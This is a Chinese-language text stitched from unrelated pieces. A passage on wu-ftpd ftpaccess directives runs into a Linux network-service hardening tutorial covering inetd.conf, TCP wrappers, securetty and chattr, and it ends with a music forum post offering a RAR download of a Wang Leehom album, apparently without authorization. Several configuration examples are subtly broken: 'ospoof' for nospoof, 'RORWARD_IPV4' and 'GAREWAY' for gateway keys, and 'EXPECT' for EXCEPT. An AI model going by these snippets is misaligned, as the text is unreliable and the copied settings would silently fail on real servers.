由class定义的群组用户才可以连线进来,可以使用多层式的class来规范哪些群组的用户能够从哪些地方上来。这里有三个重要的种类,real、anonymous个guest。real如果没有列在定义中,那么这台机器中任何真实的一般用户都无法用自己的帐号连上来。anonymous如果没有在定义,就表示不让没有帐号的的人连上来。如果有定义guest,那么guest群组的人就可以上来。另外<用户地址>是指ftp上来的用户会用到的IP地址,则可自行设定。以下是一些例子:
class all real,guest,anonymous *
定义了一个名为all的class,包含三种人,所有IP的连线用户(也就是所有人都包括了)
class local real localhost loopback
local这个class说,只有real的用户可以从本机机器连上来
class remote guest,anonymous *
remote这个class包含了从任何地方上来的guest和anonymous用户,但是real用户不算
class rmtuser real !*.example.com
rmtuser这个class包含了从外面来的(除了example.com)真实用户
autogroup--自动对应群组,用法如下:
autogroup[……]
当你定义好的那些同属于一个class的用户,一旦连线上来就会被对应到一个相应的群组下面,这样你就可以用Unix的文件权限对某一群人做限制。
deny--拒绝某些地址连线,用法如下:
deny<拒绝连线的地址><信息文件>
禁止某些机器连线,并显示<信息文件>。例如:
deny 210.62.146.*:255.255.255.254 /etc/reject.msg
guestgroup--设定访客群
guestuser--设定访客帐号
realgroup--设定真实群组
realuser--设定真实帐号
nice--设定给某些class多少优先权,用法如下:
nice
在Linux中,nice的值是-20(最优先)到19(最后处理),这里你可以指定负的值来提高某class的优先顺序。
defumask--设定某class的umask,用法如下:
defumask[]
umask是建立文件时该文件的的权限掩码
tcpwindow--设定tcpwindow的大小
keepalive--设定是否使用TCP SO_KEEPALIVE来控制断线情形
timeout--设定连线超时,用法如下:
timeout accept<秒>
接受连线超时,预设120秒
timeout connect<秒>
连线建立超时,预设120秒
timeout data<秒>
数据传送超时,预设1200秒
timeout idle<秒>
用户发呆超时,预设900秒
file-limit--限制某class只能传几个文件,用法如下:
file-limit[][]
对某个class限制存取文件的数目,包含了in(上传)、out(下载),total raw代表整个传输的结果,不光是数据文件。例如:
file-limit out 20 lvfour
限制lvfour这个class的用户最多只能下载20个文件
byte-limit--限制某class只能传几个字节,用法跟file-limit相似
limit-time--限制一个连线只能持续多久,用法如下:
limit-time{*|anonymous|guest}<分钟>
为了避免有人挂在站上不下来,可以用这个方法限制用户的上线时间,例如:
limit-time guest 5
让guest帐号的用户只能用5分钟
limit--限制某class能同时几人上线,用法如下:
limit<连线数目><时间区段><额满信息文件>
设定某个class在某一时间区段内最多能够几人同时上线,后面是当超过连线数目时要显示的信息。例如:
limit all 32 Any /home/ftp/etc/toomanyuser.msg
限制所有连线在任何时间只能有32个用户,超过则拒绝连线并显示信息
limit levellone 5 Any2300-0600 /home/ftp/etc/toomanyuser.msg
限制levellone这个class的用户在23:00到6:00这段时间内只能有5人连线
noretrieve--设定哪些文件不可下载
noretrieve[absolute/relative][class=]…[-][<文件名>…]
absolute或relative指文件是用绝对路径还是相对路径
allow=retrieve--设定哪些文件可以下载
allow[absolute/relative][class=]…[-][<文件名>…]
loginfails--设置登入错误可尝试的次数
当用户连线时可能打错ID或密码,这个设定可以让他打错几次以后就断线,避免有人用穷举法猜测密码。
private--设定线上是否可以执行SITE GROUP/SITE GPASS
当开放SITE GROUP与SITE GPASS指令时,可以用这两个指令切换到/etc/ftpgroup的群组。一般而言我们不会用到这个功能,以避免安全漏洞。
greeting--显示Server的版本信息,用法如下:
greeting
当用户登入画面显示的server信息,full是预设值,包含版本号以及hostname,brief只有hostname,而terse只有“FTP server ready”的信息。
barnner--设定未进入Login画面之前用户看到的信息,用法如下:
banner<文件路径>
这里叙述了在用户登入时,在还没打ID/Password之前要出现的信息。文件路径指的是相对于真实的路径,而不是相对于ftp的根目录。
host--设定ftp主机名
email--指定ftp管理者的email地址
message--信息文件的设定,用法如下:
message<文件>{<何时>{……}}
这里的文件的路径是相对于ftp的根目录的,“何时”是指当你做了什么动作之后的反应,有几个选择:
login(登入时)
cwd=<目录>(进入某目录时)
class 名称是前面已经定义过的,允许你的信息只对哪些人发出。
而信息文件的内容除了文字以外,还可以使用以下一些事先定义好的代号:
%T(本机时间)
%F(目前分区所剩余的空间)
%C(目前所在的目录)
%E(管理者的E-mail)
%R(客户端主机名称)
%L(本机主机名称)
%U(用户名称)
%M(与我相同class用户允许多少人连线)
%N(与我相同class用户目前有多少人连线)
%B(绝对磁盘限制大小,目前分区(单位blocks))
%b(preferred磁盘限制大小,目前分区(单位blocks))
%Q(目前已使用的blocks)
%I(最大可使用的inodes(+1))
%i(Preferred inodes限制)
%q(目前使用的indoes)
%H(超量使用磁盘空间的时间限制)
%h(超量使用文件数目的时间限制)
readme--通知用户哪些README文件已经更新
log commands--记录用户所使用过的命令,用法如下:
log commands<用户种类>
log transfers--记录用户所传输的文件,用法如下:
log transfers<用户种类><传输方向>
设定有哪些类型的用户传输文件需要记录,包含了inbound(用户上传)和outbound(用户下载),例如:
log transfers anonymous,guest inbound,outbound
log security--记录安全性,用法如下:
log security<用户种类>
特别用于记录某类用户关于noretrive、notar等有关安全性的记录
log syslog--记录到系统的syslog文件
alias--设定目录别名,用法如下:
alias<别名字符串><目录>
cdpath--设定cd更换目录搜索顺序
compress,tar--设定是否自动压缩,用法如下:
compress[……]
tar[……]
定义哪些人可以执行压缩以及tar
shutdown--通知用户要关站了
shutdown<信息文件>
如果信息文件存在的话,当这个文件指定的某时间以后,就会拒绝连线并切断已有的连线,等时间一到就关机。这个信息文件的格式如下:
<年><月><日><时><分><拒绝倒数><断线倒数><文字>
daemon address--指定只监听某个IP地址,用法如下:
daemon address

当你有许多IP的时候,使用这个选项将会取消其它任何虚拟FTP主机的设定。不设定的话,监听所有IP。
virtual--设定虚拟FTP站台
wu-ftpd提供了虚拟主机的功能,也就是说,在同一台机器上提供了不同FTP站台,以主机名称或IP来区分;当然你要用名称的话,还需要跟DNS配合才行。virtual有很多个设定:
virtual
<路径>

可以是主机名或IP地址
root指的是ftp的根目录,banner是欢迎信息,logfile指的是这个虚拟站台的log文件
以下是一些例子:
virtual virtual.com.bj root /home/ftp2
virtual virtual.com.bj banner /etc/vftpbanner.2
virtual virtual.com.bj logfile /etc/viftplog.2
virtual
<字母>
用户可以查到hostname跟管理者email,以下是一些例子:
virtual 210.62.146.50 hostname virtual.site.com.bj
virtual vritual.site.com.bj email [email protected]
virtual
allow<用户>[<用户>……]
virtual
deny<用户>[<用户>……]
很明显,以上两个选项是设定是否允许连线的,以下是一些例子:
virtual virtual.site.com.bj allow *
virtual virtual.site.com.bj deny badman
virtual
private
本虚拟站台拒绝anonymous用户
defaultserver deny <用户>[<用户>……]
defaultserver allow <用户>[<用户>……]
当我们使用了虚拟主机,原先的deny,allow设定不知道要设哪个server,所以会无效,用defaultserver代表原来的主机
defaultserver private
主站台拒绝anonymous用户
passive address--转换IP数值
passive address<外部IP>/cidr
passive ports--passive的ports范围
passive ports
pasv-allow--允许使用pasv
pasv-allow[<地址>……]
port-allow--允许使用port
port-allow[<地址>……]
mailserver--指定Upload通知的mail服务器
incmail--指定anonymous upload的email通知地址
virtual incmail--指定虚拟主机anonymous upload的email通知地址
defaultserver incmail--指定预设主机anonymous upload的email通知地址
mailfrom--通知的寄信人upload
virtual mailfrom--虚拟主机upload通知的寄信人
defaultserver mailfrom--预设主机upload通知的寄信人
chmod--设定是否可以改变文件权限
delete--设定是否可以删除文件
overwrite--覆盖文件
rename--重命名文件
umask--允许设定umask
passwd-check--设定anonymous FTP的密码检查程度,用法如下:
passwd-check()
设定对anonymous ftp用户的密码是否检查,none表示不检查,trivial为包含@的任意密码,rfc822则表示密码要遵循RFC822格式,enforce表示密码检查不过不允许进入,warn表示密码检查不过只出现警告信息。
deny=email--拒绝特定的email当密码
path-filer--摄定哪些文件名不可使用
path-filer<错误信息文件><允许字符><不允许字符>
upload--设定upload权限
upload[absloute/relative][class=]…[-]<设定的目录> >[dirs/nodirs][d_mode]
用来对我们要设定的目录做权限设定:
absoulte/relative使用绝对路径或是相对路径
class=指定某个class
root-dir指的是对哪些root-dir的人,也就是chroot后的登入目录,应用这个规则
设定的目录指的就是我们要限制的目录
yes/no指得是能否在此目录下开新文件
owner,group指出是开出来的文件拥有者及群组
Mode指的是文件权限
dirs/nodirs指的是能否开新目录
d_mode设定建立新目录时目录的权限,如果不设定会根据mode来设定
thoughput--控制下载速度
thoughput<子目录列表><文件><远端地址列表>
对远端的地址,控制他抓某个子目录下的某些文件时的速度,例如:
thoughput /e/ftp * * oo - *
thoughput /e/ftp /sw* * 1024 0.5 *
thoughput /e/ftp sw* readme oo - *
thoughput /e/ftp sw* * oo - *.foo.com
以上的设定你是否能够看出来呢?“oo”表示不限制bytes/sec,“-”或是“1.0”都是代表一倍。第一行的意思是说,在/e/ftp下面的文件不限制下载速度;第二行说,在/sw*下面的任何文件限速为1024bytes/sec*
0.5=512bytes/sec;第三行又把readme文件的限速取消;最后一行则对*.foo.com开放全速。
anonymous-root--对某class设定匿名用户的根目录
anonymous-root[]
guest-root--预设一个guest用户根目录
guest-root[]
其中用于指定uid的范围
deny-uid,deny-gid--拒绝某段UID(GID)范围
allow-uid,allow-gid--允许某段UID(GID)范围
restricted-uid,restricted-gid--限制用户不能离开他的登录目录
unrestricted-uid,unrestricted-gid--用户可以离开他的登录目录
dns refuse_mismatch--设定DNS查到名称与用户设定不符的动作
dns refuse_mismatch<信息文件>[override]
当用户使用未注册IP时,拒绝他的连线,override则是不理会错误而让他连线,信息文件则是我们要给用户看的。
dns refuse_no_reverse--设定无反查记录拒绝连线
dns refuse_no_reverse<信息文件>[override]
当用户的IP反查无记录时,拒绝他的连线
dns resolveoptions--设定DNS解析选项
dns resolveoptions[options]
这里可以设定DNS解析选项
⒉/etc/ftphosts
ftphosts文件其实跟ftpaccess里面的access,deny很像,它是特别用来设定某些ID的连线,它没有class定义,所以必须是真实用户。
allow|deny<用户><地址>[<地址>……]
以下是一些例子:
allow rose 140.0.0/8
deny jack 140.123.0.0:255.255.0.0
允许rose从140.*.*.*进来,拒绝jack从140.123.*.*上来
⒊/etc/ftpservers
这个文件控制了当你有不同的IP/hostname的时候,进来的连线使用哪一个配置文件。例如:
10.196.145.10 /etc/ftpd/ftpaccess.somedomain/
10.196.145.200 /etc/ftpd/ftpaccess.someotherdomain/
some.domain internal
10.196.145.20 /etc/ftpd/config/faqs.org/
ftp.some.domain /etc/ftpd/config/faqs.org/
⒋/etc/ftpusers
在这个文件里记录的用户禁止使用FTP
⒌/etc/ftpgroups
给SITE GROUP指令使用,线上切换group。SITE EXEC容易造成安全漏洞,一般我们都不开放。
⒍/etc/ftpconversions
用来做tar、compress、gzip等动作指令配置文件,只要用预设即可,如果你不开放即时压缩打包,也可以把内容清除。

Linux网络服务器配置基础

要建立一个安全Linux服务器就首先要了解Linux环境下和网络服务相关的配置文件的含义及如何进行安全的配置。在Linux系统中,TCP/IP网络是通过若干个文本文件进行配置的,也许你需要编辑这些文件来完成联网工作,但是这些配置文件大都可以通过配置命令linuxconf(其中网络部分的配置可以通过netconf命令来实现)命令来实现。下面介绍基本的 TCP/IP网络配置文件。

* /etc/conf.modules 文件
 [separator] 该配置文件定义了各种需要在启动时加载的模块的参数信息。这里主要着重讨论关于网卡的配置。在使用Linux做网关的情况下,Linux服务器至少需要配置两块网卡。为了减少启动时可能出现的问题,Linux内核不会自动检测多个网卡。对于没有将网卡的驱动编译到内核而是作为模块动态载入的系统若需要安装多块网卡,应该在“conf.modules”文件中进行相应的配置。

  若设备驱动被编译为模块(内核的模块):对于PCI设备,模块将自动检测到所有已经安装到系统上的设备;对于ISA卡,则需要向模块提供IO地址,以使模块知道在何处寻找该卡,这些信息在“/etc/conf.modules”中提供。

  例如,我们有两块ISA总线的3c509卡,一个IO地址是0x300,另一个是0x320。编辑“conf.modules”文件如下:

  alias eth0 3c509

  alias eth1 3c509

  options 3c509 io=0x300,0x320

  这是说明3c509的驱动程序应当分别以eth0或eth1的名称被加载(alias eth0,eth1),并且它们应该以参数io=0x300,0x320被装载,来通知驱动程序到哪里去寻找网卡,其中0x是不可缺少的。

  对于PCI卡,仅仅需要alias命令来使ethN和适当的驱动模块名关联,PCI卡的IO地址将会被自动的检测到。对于PCI卡,编辑“conf.modules”文件如下:

  alias eth0 3c905

  alias eth1 3c905

  若驱动已经被编译进了内核:系统启动时的PCI检测程序将会自动找到所有相关的网卡。ISA卡一般也能够被自动检测到,但是在某些情况下,ISA卡仍然需要做下面的配置工作:

  在“/etc/lilo.conf”中增加配置信息,其方法是通过LILO程序将启动参数信息传递给内核。对于ISA卡,编辑“lilo.conf”文件,增加如下内容:

  append=" ether="0,0,eth0 ether="0,0,eth1"

  注:先不要在“lilo.conf”中加入启动参数,测试一下你的ISA卡,若失败再使用启动参数。

  如果用传递启动参数的方法,eth0和eth1将按照启动时被发现的顺序来设置。

* /etc/HOSTNAME 文件
  该文件包含了系统的主机名称,包括完全的域名,如:deep.openarch.com。

*/etc/sysconfig/network-scripts/ifcfg-ethN 文件
  在RedHat中,系统网络设备的配置文件保存在“/etc/sysconfig/network-scripts”目录下,ifcfg-eth0包含第一块网卡的配置信息,ifcfg-eth1包含第二块网卡的配置信息。

  下面是“/etc/sysconfig/network-scripts/ifcfg-eth0”文件的示例:

  DEVICE=eth0

  IPADDR=208.164.186.1

  NETMASK=255.255.255.0

  NETWORK=208.164.186.0

  BROADCAST=208.164.186.255

  ONBOOT=yes

  BOOTPROTO=none

  USERCTL=no

  若希望手工修改网络地址或在新的接口上增加新的网络界面,可以通过修改对应的文件(ifcfg-ethN)或创建新的文件来实现。

  DEVICE=name     name表示物理设备的名字

  IPADDR=addr     addr表示赋给该卡的IP地址

  NETMASK=mask    mask表示网络掩码

  NETWORK=addr    addr表示网络地址

  BROADCAST=addr   addr表示广播地址

  ONBOOT=yes/no   启动时是否激活该卡

  none:无须启动协议

  bootp:使用bootp协议

  dhcp:使用dhcp协议

  USERCTL=yes/no       是否允许非root用户控制该设备

*/etc/resolv.conf 文件
  该文件是由域名解析器(resolver,一个根据主机名解析IP地址的库)使用的配置文件,示例如下:

  search openarch.com

  nameserver 208.164.186.1

  nameserver 208.164.186.2

  “search domainname.com”表示当提供了一个不包括完全域名的主机名时,在该主机名后添加domainname.com的后缀;“nameserver”表示解析域名时使用该地址指定的主机为域名服务器。其中域名服务器是按照文件中出现的顺序来查询的。

*/etc/host.conf 文件
  该文件指定如何解析主机名。Linux通过解析器库来获得主机名对应的IP地址。下面是一个“/etc/host.conf”的示例:

  order bind,hosts

  multi on

  ospoof on

  “order bind,hosts”指定主机名查询顺序,这里规定先使用DNS来解析域名,然后再查询“/etc/hosts”文件(也可以相反)。

  “multi on”指定是否“/etc/hosts”文件中指定的主机可以有多个地址,拥有多个IP地址的主机一般称为多穴主机。

  “nospoof on”指不允许对该服务器进行IP地址欺骗。IP欺骗是一种攻击系统安全的手段,通过把IP地址伪装成别的计算机,来取得其它计算机的信任。

*/etc/sysconfig/network 文件
  该文件用来指定服务器上的网络配置信息,下面是一个示例:

  NETWORK=yes

  RORWARD_IPV4=yes

  HOSTNAME=deep.openarch.com

  GAREWAY=0.0.0.0

  GATEWAYDEV=

  NETWORK=yes/no     网络是否被配置;

  FORWARD_IPV4=yes/no    是否开启IP转发功能

  HOSTNAME=hostname hostname表示服务器的主机名

  GAREWAY=gw-ip     gw-ip表示网络网关的IP地址

  GAREWAYDEV=gw-dev   gw-dw表示网关的设备名,如:etho等

  注意:为了和老的软件相兼容,“/etc/HOSTNAME”文件应该用和HOSTNAME=hostname相同的主机名。

*/etc/hosts 文件
  当机器启动时,在可以查询DNS以前,机器需要查询一些主机名到IP地址的匹配。这些匹配信息存放在/etc/hosts文件中。在没有域名服务器情况下,系统上的所有网络程序都通过查询该文件来解析对应于某个主机名的IP地址。

  下面是一个“/etc/hosts”文件的示例:

  IP Address     Hostname           Alias

  127.0.0.1      Localhost          Gate.openarch.com

  208.164.186.1    gate.openarch.com Gate

  …………       …………           ………

  最左边一列是主机IP信息,中间一列是主机名。任何后面的列都是该主机的别名。一旦配置完机器的网络配置文件,应该重新启动网络以使修改生效。使用下面的命令来重新启动网络:/etc/rc.d/init.d/network restart

* /etc/inetd.conf 文件
  众所周知,作为服务器来说,服务端口开放越多,系统安全稳定性越难以保证。所以提供特定服务的服务器应该尽可能开放提供服务必不可少的端口,而将与服务器服务无关的服务关闭,比如:一台作为www和ftp服务器的机器,应该只开放80 和25端口,而将其他无关的服务如:finger auth等服务关掉,以减少系统漏洞。

  而inetd,也叫作“超级服务器”,就是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口,为每个端口启动哪个服务。在任何的网络环境中使用Linux系统,第一件要做的事就是了解一下服务器到底要提供哪些服务。不需要的那些服务应该被禁止掉,最好卸载掉,这样黑客就少了一些攻击系统的机会。查看“/etc/inetd.conf”文件,了解一下inetd提供哪些服务。用加上注释的方法(在一行的开头加上#号),禁止任何不需要的服务,再给inetd进程发一个SIGHUP信号。

  第一步:把文件的许可权限改成600。

  [root@deep]# chmod 600 /etc/inetd.conf

  第二步:确信文件的所有者是root。

  [root@deep]# stat /etc/inetd.conf

  第三步:编辑“inetd.conf”文件(vi /etc/inetd.conf),禁止所有不需要的服务,如:ftp、 telnet、 shell、 login、 exec、talk、ntalk、 imap、 pop-2、pop-3、finger、auth,等等。如果你觉得某些服务有用,可以不禁止这些服务。但是,把这些服务禁止掉,系统受攻击的可能性就会小很多。改变后的“inetd.conf”文件的内容如下面所示:

  # To re-read this file after changes, just do a 'killall -HUP inetd'

  #

  #echo stream tcp nowait root internal

  #echo dgram udp wait root internal

  #discard stream tcp nowait root internal

  #discard dgram udp wait root internal

  #daytime stream tcp nowait root internal

  #daytime dgram udp wait root internal

  #chargen stream tcp nowait root internal

  #chargen dgram udp wait root internal

  #time stream tcp nowait root internal

  #time dgram udp wait root internal

  #

  # These are standard services.

  #

  #ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a

  #telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

  #

  # Shell, login, exec, comsat and talk are BSD protocols.

  #

  #shell stream tcp nowait root /usr/sbin/tcpd in.rshd

  #login stream tcp nowait root /usr/sbin/tcpd in.rlogind

  #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd

  #comsat dgram udp wait root /usr/sbin/tcpd in.comsat

  #talk dgram udp wait root /usr/sbin/tcpd in.talkd

  #ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd

  #dtalk stream tcp wait nobody /usr/sbin/tcpd in.dtalkd

  #

  # Pop and imap mail services et al

  #

  #pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d

  #pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d

  #imap stream tcp nowait root /usr/sbin/tcpd imapd

  #

  # The Internet UUCP service.

  #

  #uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l

  #

  # Tftp service is provided primarily for booting. Most sites

  # run this only on machines acting as "boot servers." Do not uncomment

  # this unless you *need* it.

  #

  #tftp dgram udp wait root /usr/sbin/tcpd in.tftpd

  #bootps dgram udp wait root /usr/sbin/tcpd bootpd

  #

  # Finger, systat and netstat give out user information which may be

  # valuable to potential "system crackers." Many sites choose to disable

  # some or all of these services to improve security.

  #

  #finger stream tcp nowait root /usr/sbin/tcpd in.fingerd

  #cfinger stream tcp nowait root /usr/sbin/tcpd in.cfingerd

  #systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx

  #netstat stream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet

  #

  # Authentication

  #

  #auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o

  #

  # End of inetd.conf

  注意:改变了“inetd.conf”文件之后,别忘了给inetd进程发一个SIGHUP信号(killall –HUP inetd)。

  [root@deep /root]# killall -HUP inetd

  第四步:

  为了保证“inetd.conf”文件的安全,可以用chattr命令把它设成不可改变。把文件设成不可改变的只要用下面的命令:

  [root@deep]# chattr +i /etc/inetd.conf

  这样可以避免“inetd.conf”文件的任何改变(意外或是别的原因)。一个有“i”属性的文件是不能被改动的:不能删除或重命名,不能创建这个文件的链接,不能往这个文件里写数据。只有系统管理员才能设置和清除这个属性。如果要改变inetd.conf文件,你必须先清除这个不允许改变的标志:

  [root@deep]# chattr -i /etc/inetd.conf

  但是对于诸如sendmail,named,www等服务,由于它们不象finger,telnet等服务,在请求到来时由inet守护进程启动相应的进程提供服务,而是在系统启动时,作为守护进程运行的。而对于redhat linux,提供了一个linuxconfig命令,可以通过它在图形界面下交互式地设置是否在启动时运行相关服务。也可以通过命令来设置是否启动时启动某个服务,如:[root@deep]# chkconfig –level 35 named off

具体命令可以参考man chkconfig的说明。
* /etc/hosts.allow 文件
  但是对于telnet、ftp等服务,如果将其一同关闭,那么对于管理员需要远程管理时,将非常不方便。Linux提供另外一种更为灵活和有效的方法来实现对服务请求用户的限制,从而可以在保证安全性的基础上,使可信任用户使用各种服务。Linux提供了一个叫TCP wrapper的程序。在大多数发布版本中该程序往往是缺省地被安装。利用TCP wrapper你可以限制访问前面提到的某些服务。而且TCP wrapper的记录文件记录了所有的企图访问你的系统的行为。通过last命令查看该程序的log,管理员可以获知谁曾经或者企图连接你的系统。

  在/etc目录下,有两个文件:hosts.deny hosts.allow 通过配置这两个文件,你可以指定哪些机器可以使用这些服务,哪些不可以使用这些服务。

  当服务请求到达服务器时,TCP wrapper就按照下列顺序查询这两个文件,直到遇到一个匹配为止:

  1.当在/etc/hosts.allow里面有一项与请求服务的主机地址项匹配,那么就允许该主机获取该服务

  2.否则,如果在/etc/hosts.deny里面有一项与请求服务的主机地址项匹配,就禁止该主机使用该项服务。

  3.如果相应的配置文件不存在,访问控制软件就认为是一个空文件,所以可以通过删除或者移走配置文件实现对清除所有设置。在文件中,空白行或者以#开头的行被忽略,你可以通过在行前加 # 实现注释功能。

  配置这两个文件是通过一种简单的访问控制语言来实现的,访问控制语句的基本格式为:

  程序名列表:主机名/IP地址列表。

  程序名列表指定一个或者多个提供相应服务的程序的名字,名字之间用逗号或者空格分割,可以在inetd.conf文件里查看提供相应服务的程序名:如上面的文件示例中,telent所在行的最后一项就是所需的程序名:in.telnetd。

  主机名/IP地址列表指定允许或者禁止使用该服务的一个或者多个主机的标识,主机名之间用逗号或空格分隔。程序名和主机地址都可以使用通配符,实现方便的指定多项服务和多个主机。

  Linux提供了下面灵活的方式指定进程或者主机列表:

  1.一个以"."起始的域名串,如 .amms.ac.cn 那么www.amms.ac.cn就和这一项匹配

  2.以"."结尾的IP串如 202.37.152. 那么IP地址包括202.37.152. 的主机都与这一项匹配。

  3.格式为n.n.n.n/m.m.m.m表示网络/掩码,如果请求服务的主机的IP地址与掩码的位与的结果等于n.n.n.n 那么该主机与该项匹配。

  4.ALL表示匹配所有可能性

  5.EXPECT表示除去后面所定义的主机。如:list_1 EXCEPT list_2 表示list_1主机列表中除去List_2所列出的主机

  6.LOCAL表示匹配所有主机名中不包含"."的主机

  上面的几种方式只是Linux提供的方式中的几种,但是对于我们的一般应用来说是足够了。我们通过举几个例子来说明这个问题:

  例一:我们只希望允许同一个局域网的机器使用服务器的ftp功能,而禁止广域网上面的ftp服务请求,本地局域网由 202.39.154.、202.39.153.和202.39.152. 三个网段组成。

  在hosts.deny文件中,我们定义禁止所有机器请求所有服务:

  ALL:ALL

  在hosts.allow文件中,我们定义只允许局域网访问ftp功能:

  in.ftpd -l –a: 202.39.154 202.39.153. 202.39.152.

  这样,当非局域网的机器请求ftp服务时,就会被拒绝。而局域网的机器可以使用ftp服务。此外,应该定期检查/var/log目录下的纪录文件,发现对系统安全有威胁的登录事件。last命令可以有效的查看系统登录事件,发现问题所在。

  最后tcpdchk是检查TCP_WAPPERS配置的程序。它检查TCP_WAPPERS的配置,并报告它可以发现的问题或潜在的问题。在所有的配置都完成了之后,请运行tcpdchk程序:

  [root@deep]# tcpdchk

* /etc/services 文件
  端口号和标准服务之间的对应关系在RFC 1700 “Assigned Numbers”中有详细的定义。“/etc/services”文件使得服务器和客户端的程序能够把服务的名字转成端口号,这张表在每一台主机上都存在,其文件名是“/etc/services”。只有“root”用户才有权限修改这个文件,而且在通常情况下这个文件是没有必要修改的,因为这个文件中已经包含了常用的服务所对应的端口号。为了提高安全性,我们可以给这个文件加上保护以避免没有经过授权的删除和改变。为了保护这个文件可以用下面的命令:

  [root@deep]# chattr +i /etc/services

* /etc/securetty 文件
  “/etc/securetty”文件允许你规定“root”用户可以从那个TTY设备登录。登录程序(通常是“/bin/login”)需要读取“/etc/securetty”文件。它的格式是:列出来的tty设备都是允许登录的,注释掉或是在这个文件中不存在的都是不允许root登录的。

  注释掉(在这一行的开头加上#号)所有你想不让root登录的tty设备。

  编辑securetty文件(vi /etc/securetty)象下面一样,注释掉一些行:

  tty1

  #tty2

  #tty3

  #tty4

  #tty5

  #tty6

  #tty7

  #tty8

* 使Control-Alt-Delete关机键无效
  把“/etc/inittab”文件中的一行注释掉可以禁止用Control-Alt-Delete关闭计算机。如果服务器不是放在一个安全的地方,这非常重要。

  编辑inittab文件(vi /etc/inittab)把这一行:

  ca::ctrlaltdel:/sbin/shutdown -t3 -r now

  改为:

  #ca::ctrlaltdel:/sbin/shutdown -t3 -r now

  用下面的命令使改变生效:

  [root@deep]# /sbin/init q

* 改变“/etc/rc.d/init.d/”目录下的脚本文件的访问许可
  /etc/rc.d/init.d/下的脚本主要包含了启动服务的脚本程序。一般用户没有什么必要知道脚本文件的内容。所以应该改变这些脚本文件的权限。

  [root@deep]# chmod -R 700 /etc/rc.d/init.d/*

  这样只有root可以读、写和执行这个目录下的脚本。

* /etc/rc.d/rc.local 文件
  在默认情况下,当登录装有Linux系统的计算机时,系统会告诉你Linux发行版的名字、版本号、内核版本和服务器名称。这泄露了太多的系统信息。最好只显示一个“Login:”的提示信息。

  第一步:

  编辑“/ect/rc.d/rc.local”文件,在下面这些行的前面加上“#”:

  --

  # This will overwrite /etc/issue at every boot. So, make any changes you

  # want to make to /etc/issue here or you will lose them when you reboot.

  #echo "" > /etc/issue

  #echo "$R" >> /etc/issue

  #echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue

  #

  #cp -f /etc/issue /etc/issue.net

  #echo >> /etc/issue

  --

  第二步:

  删除“/etc”目录下的“issue.net”和“issue”文件:

  [root@deep]# rm -f /etc/issue

  [root@deep]# rm -f /etc/issue.net

  注意:“/etc/issue.net”文件是用户从网络登录计算机时(例如:telnet 、SSH),看到的登录提示。同样在“”目录下还有一个“issue”文件,是用户从本地登录时看到的提示。这 两个文件都是文本文件,可以根据需要改变。但是,如果想删掉这两个文件,必须向上面介绍的那样把 “/etc/rc.d/rc.local”脚本中的那些行注释掉,否则每次重新启动的时候,系统又会重新创建这两个文件。

王力宏 蓋世英雄

[img]http://www.meikamusic.com/bbs/images/upfile/2005-12/200512201316298.jpg[/img]
[img]http://www.meikamusic.com/bbs/images/upfile/2005-12/200512201316510.jpg[/img]
专辑名称:蓋世英雄
演唱歌手:王力宏
唱片公司:Sony/BMG
发行时间:2005年12月30日 
专辑语种:国语专辑1CD
[separator]
MP3部分:
01. Finally (cap自完整版MV)
02. 花田错 (demo完整版)
03. 让开 (live完整版)
04. 爱情攻略 (demo试听版)
05. Kiss Goodbye (demo试听版)
06. Come And Get It (demo试听版)

MV部分:
01. Finally (10分钟@感人剧情@高清晰完整版)
02. 爱情攻略 (1分钟清晰版)
03. 花田错 (完整版)

MP3打包下载:
http://jj.yvv.cn/63630/down/www.yvv.cn/20051214/lh.rar